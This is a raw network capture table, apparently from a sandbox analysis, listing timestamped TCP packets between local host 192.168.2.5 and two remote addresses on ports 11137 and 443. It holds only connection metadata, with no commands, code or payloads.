Nov 23, 2023 01:09:53.237123966 CET	11137	49745	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:53.748374939 CET	49745	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:53.955945015 CET	11137	49745	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:54.467056990 CET	49745	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:54.674645901 CET	11137	49745	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:55.185849905 CET	49745	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:55.393564939 CET	11137	49745	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:55.501177073 CET	49746	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:55.501204967 CET	443	49746	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:55.501318932 CET	49746	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:55.501885891 CET	49746	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:55.501892090 CET	443	49746	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:55.759687901 CET	443	49746	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:55.762052059 CET	49746	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:55.762079954 CET	443	49746	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:56.039113998 CET	443	49746	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:56.039284945 CET	443	49746	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:56.039341927 CET	49746	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:56.040246964 CET	49746	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:56.170425892 CET	49747	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:56.377764940 CET	11137	49747	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:56.888983965 CET	49747	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:57.096483946 CET	11137	49747	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:57.607630968 CET	49747	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:57.815016985 CET	11137	49747	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:58.326368093 CET	49747	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:58.533790112 CET	11137	49747	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:59.045134068 CET	49747	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:59.253482103 CET	11137	49747	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:59.414344072 CET	49748	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:59.414370060 CET	443	49748	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:59.414439917 CET	49748	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:59.414900064 CET	49748	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:59.414912939 CET	443	49748	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:59.675712109 CET	443	49748	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:59.677973032 CET	49748	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:59.677982092 CET	443	49748	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:00.136606932 CET	443	49748	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:00.136945963 CET	443	49748	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:00.137027979 CET	49748	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:00.137705088 CET	49748	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:00.138955116 CET	49749	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:00.346153975 CET	11137	49749	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:00.858534098 CET	49749	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:01.066010952 CET	11137	49749	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:01.576539040 CET	49749	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:01.783895969 CET	11137	49749	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:02.295129061 CET	49749	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:02.502455950 CET	11137	49749	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:03.013890028 CET	49749	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:03.221155882 CET	11137	49749	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:03.328547955 CET	49750	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:03.328569889 CET	443	49750	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:03.328639030 CET	49750	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:03.329101086 CET	49750	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:03.329113007 CET	443	49750	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:03.595300913 CET	443	49750	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:03.597467899 CET	49750	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:03.597480059 CET	443	49750	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:03.909939051 CET	443	49750	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:03.910206079 CET	443	49750	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:03.910464048 CET	49750	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:03.911092997 CET	49750	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:03.912270069 CET	49751	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:04.119864941 CET	11137	49751	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:04.623256922 CET	49751	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:04.830916882 CET	11137	49751	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:05.342017889 CET	49751	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:05.549623013 CET	11137	49751	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:06.060769081 CET	49751	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:06.268601894 CET	11137	49751	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:06.779527903 CET	49751	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:06.987329006 CET	11137	49751	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:07.094157934 CET	49752	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:07.094260931 CET	443	49752	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:07.094351053 CET	49752	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:07.094873905 CET	49752	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:07.094909906 CET	443	49752	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:07.358452082 CET	443	49752	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:07.363537073 CET	49752	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:07.363568068 CET	443	49752	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:07.788480997 CET	443	49752	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:07.788656950 CET	443	49752	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:07.788862944 CET	49752	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:07.789781094 CET	49752	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:07.790941954 CET	49753	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:07.998487949 CET	11137	49753	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:08.498218060 CET	49753	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:08.705800056 CET	11137	49753	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:09.217075109 CET	49753	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:09.424784899 CET	11137	49753	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:09.936202049 CET	49753	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:10.143932104 CET	11137	49753	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:10.654517889 CET	49753	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:10.862200975 CET	11137	49753	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:10.969217062 CET	49754	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:10.969260931 CET	443	49754	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:10.969355106 CET	49754	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:10.970143080 CET	49754	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:10.970158100 CET	443	49754	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:11.233603954 CET	443	49754	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:11.235953093 CET	49754	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:11.235972881 CET	443	49754	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:11.513366938 CET	443	49754	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:11.513547897 CET	443	49754	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:11.513612986 CET	49754	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:11.522816896 CET	49754	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:11.534492016 CET	49755	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:11.742152929 CET	11137	49755	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:12.248225927 CET	49755	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:12.456063032 CET	11137	49755	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:12.967004061 CET	49755	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:13.174735069 CET	11137	49755	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:13.685722113 CET	49755	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:13.893485069 CET	11137	49755	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:14.404644012 CET	49755	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:14.612529993 CET	11137	49755	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:14.719088078 CET	49757	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:14.719115019 CET	443	49757	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:14.719207048 CET	49757	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:14.719719887 CET	49757	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:14.719733953 CET	443	49757	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:14.981225967 CET	443	49757	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:15.029545069 CET	49757	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:15.238763094 CET	49757	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:15.238778114 CET	443	49757	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:15.398848057 CET	443	49757	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:15.399023056 CET	443	49757	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:15.399076939 CET	49757	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:15.399972916 CET	49757	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:15.401112080 CET	49758	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:15.608500957 CET	11137	49758	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:16.123260975 CET	49758	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:16.330871105 CET	11137	49758	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:16.842060089 CET	49758	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:17.049537897 CET	11137	49758	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:17.560672998 CET	49758	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:17.768748045 CET	11137	49758	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:18.279422998 CET	49758	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:18.486928940 CET	11137	49758	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:18.593849897 CET	49759	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:18.593869925 CET	443	49759	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:18.593997002 CET	49759	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:18.596121073 CET	49759	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:18.596132040 CET	443	49759	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:18.852699995 CET	443	49759	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:18.855593920 CET	49759	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:18.855617046 CET	443	49759	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:19.323823929 CET	443	49759	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:19.323915005 CET	443	49759	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:19.323970079 CET	49759	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:19.325606108 CET	49759	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:19.327817917 CET	49760	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:19.535213947 CET	11137	49760	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:20.045128107 CET	49760	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:20.252763987 CET	11137	49760	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:20.763817072 CET	49760	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:20.971386909 CET	11137	49760	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:21.482547998 CET	49760	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:21.690098047 CET	11137	49760	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:22.201380968 CET	49760	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:22.408946991 CET	11137	49760	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:22.520565987 CET	49761	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:22.520607948 CET	443	49761	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:22.520754099 CET	49761	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:22.522094011 CET	49761	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:22.522109985 CET	443	49761	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:22.779479980 CET	443	49761	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:22.782782078 CET	49761	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:22.782798052 CET	443	49761	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:23.232626915 CET	443	49761	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:23.232810974 CET	443	49761	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:23.232856989 CET	49761	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:23.234149933 CET	49761	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:23.235744953 CET	49762	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:23.443130970 CET	11137	49762	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:23.951327085 CET	49762	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:24.158946037 CET	11137	49762	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:24.670037985 CET	49762	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:24.877649069 CET	11137	49762	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:25.560662985 CET	49762	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:25.768271923 CET	11137	49762	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:26.357539892 CET	49762	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:26.565412045 CET	11137	49762	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:26.672652960 CET	49763	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:26.672698975 CET	443	49763	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:26.672760010 CET	49763	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:26.673285007 CET	49763	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:26.673301935 CET	443	49763	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:26.934504032 CET	443	49763	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:26.936885118 CET	49763	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:26.936908960 CET	443	49763	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:27.511998892 CET	443	49763	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:27.512180090 CET	443	49763	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:27.512284040 CET	49763	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:27.513638973 CET	49763	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:27.515774965 CET	49764	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:27.723001003 CET	11137	49764	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:28.357530117 CET	49764	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:28.565063000 CET	11137	49764	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:29.170053959 CET	49764	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:29.377348900 CET	11137	49764	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:29.966903925 CET	49764	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:30.174247026 CET	11137	49764	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:30.857542038 CET	49764	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:31.064675093 CET	11137	49764	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:31.172156096 CET	49765	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:31.172182083 CET	443	49765	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:31.172269106 CET	49765	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:31.172789097 CET	49765	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:31.172801018 CET	443	49765	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:31.429981947 CET	443	49765	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:31.433175087 CET	49765	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:31.433196068 CET	443	49765	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:31.769833088 CET	443	49765	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:31.769928932 CET	443	49765	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:31.769995928 CET	49765	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:31.771367073 CET	49765	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:31.772660017 CET	49766	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:31.981144905 CET	11137	49766	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:32.670023918 CET	49766	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:32.877298117 CET	11137	49766	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:33.552467108 CET	49766	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:33.759932995 CET	11137	49766	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:34.373127937 CET	49766	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:34.580420017 CET	11137	49766	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:35.170020103 CET	49766	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:10:35.377353907 CET	11137	49766	18.229.248.167	192.168.2.5
Nov 23, 2023 01:10:35.485579014 CET	49767	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:35.485601902 CET	443	49767	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:35.485687017 CET	49767	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:35.486849070 CET	49767	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:35.486866951 CET	443	49767	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:35.738253117 CET	443	49767	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:35.745899916 CET	49767	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:35.745966911 CET	443	49767	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:35.746031046 CET	49767	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:36.877583027 CET	49768	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:36.877621889 CET	443	49768	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:36.877687931 CET	49768	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:36.878546000 CET	49768	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:36.878561974 CET	443	49768	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:37.145062923 CET	443	49768	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:37.145174980 CET	49768	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:37.148588896 CET	49768	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:37.148597002 CET	443	49768	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:37.149149895 CET	443	49768	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:37.152939081 CET	49768	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:37.153033018 CET	443	49768	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:37.153112888 CET	49768	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:38.265978098 CET	49769	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:38.266004086 CET	443	49769	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:38.266199112 CET	49769	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:38.266741037 CET	49769	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:38.266752005 CET	443	49769	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:38.532849073 CET	443	49769	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:38.532979965 CET	49769	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:38.535602093 CET	49769	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:38.535610914 CET	443	49769	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:38.535943985 CET	443	49769	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:38.539767027 CET	49769	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:38.539854050 CET	443	49769	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:38.539917946 CET	49769	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:39.664757013 CET	49770	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:39.664791107 CET	443	49770	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:39.664871931 CET	49770	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:39.665766001 CET	49770	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:39.665777922 CET	443	49770	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:39.932854891 CET	443	49770	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:39.932955027 CET	49770	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:39.935437918 CET	49770	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:39.935450077 CET	443	49770	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:39.935847998 CET	443	49770	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:39.939637899 CET	49770	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:39.939685106 CET	443	49770	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:39.939759016 CET	49770	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:41.064388990 CET	49771	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:41.064445019 CET	443	49771	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:41.064579010 CET	49771	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:41.065589905 CET	49771	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:41.065604925 CET	443	49771	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:41.327428102 CET	443	49771	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:41.327564001 CET	49771	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:41.330883026 CET	49771	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:41.330893993 CET	443	49771	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:41.331286907 CET	443	49771	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:41.337076902 CET	49771	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:41.337127924 CET	443	49771	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:41.337203979 CET	49771	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:42.454653025 CET	49772	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:42.454682112 CET	443	49772	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:42.454770088 CET	49772	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:42.455423117 CET	49772	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:42.455435038 CET	443	49772	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:42.721211910 CET	443	49772	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:42.721306086 CET	49772	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:42.723815918 CET	49772	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:42.723824024 CET	443	49772	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:42.724657059 CET	443	49772	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:42.728534937 CET	49772	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:42.728585005 CET	443	49772	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:42.728666067 CET	49772	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:43.844651937 CET	49773	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:43.844690084 CET	443	49773	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:43.844805956 CET	49773	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:44.969937086 CET	49774	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:44.969970942 CET	443	49774	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:44.970050097 CET	49774	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:44.970803022 CET	49774	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:44.970818043 CET	443	49774	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:45.191623926 CET	49773	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:45.224855900 CET	443	49774	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:45.225039959 CET	49774	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:45.227314949 CET	49774	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:45.227322102 CET	443	49774	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:45.227570057 CET	443	49774	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:45.231638908 CET	49774	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:45.231802940 CET	443	49774	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:45.231882095 CET	49774	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:46.360663891 CET	49775	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:46.360706091 CET	443	49775	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:46.360811949 CET	49775	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:46.361484051 CET	49775	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:46.361504078 CET	443	49775	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:46.614514112 CET	443	49775	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:46.614599943 CET	49775	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:46.617063999 CET	49775	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:46.617074013 CET	443	49775	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:46.617286921 CET	443	49775	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:46.619203091 CET	49775	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:46.619236946 CET	443	49775	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:46.619306087 CET	49775	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:47.921886921 CET	49776	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:47.921943903 CET	443	49776	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:47.922019958 CET	49776	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:47.922384024 CET	49776	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:10:47.922401905 CET	443	49776	148.72.177.212	192.168.2.5
Nov 23, 2023 01:10:48.175579071 CET	443	49776	148.72.177.212	192.168.2.5
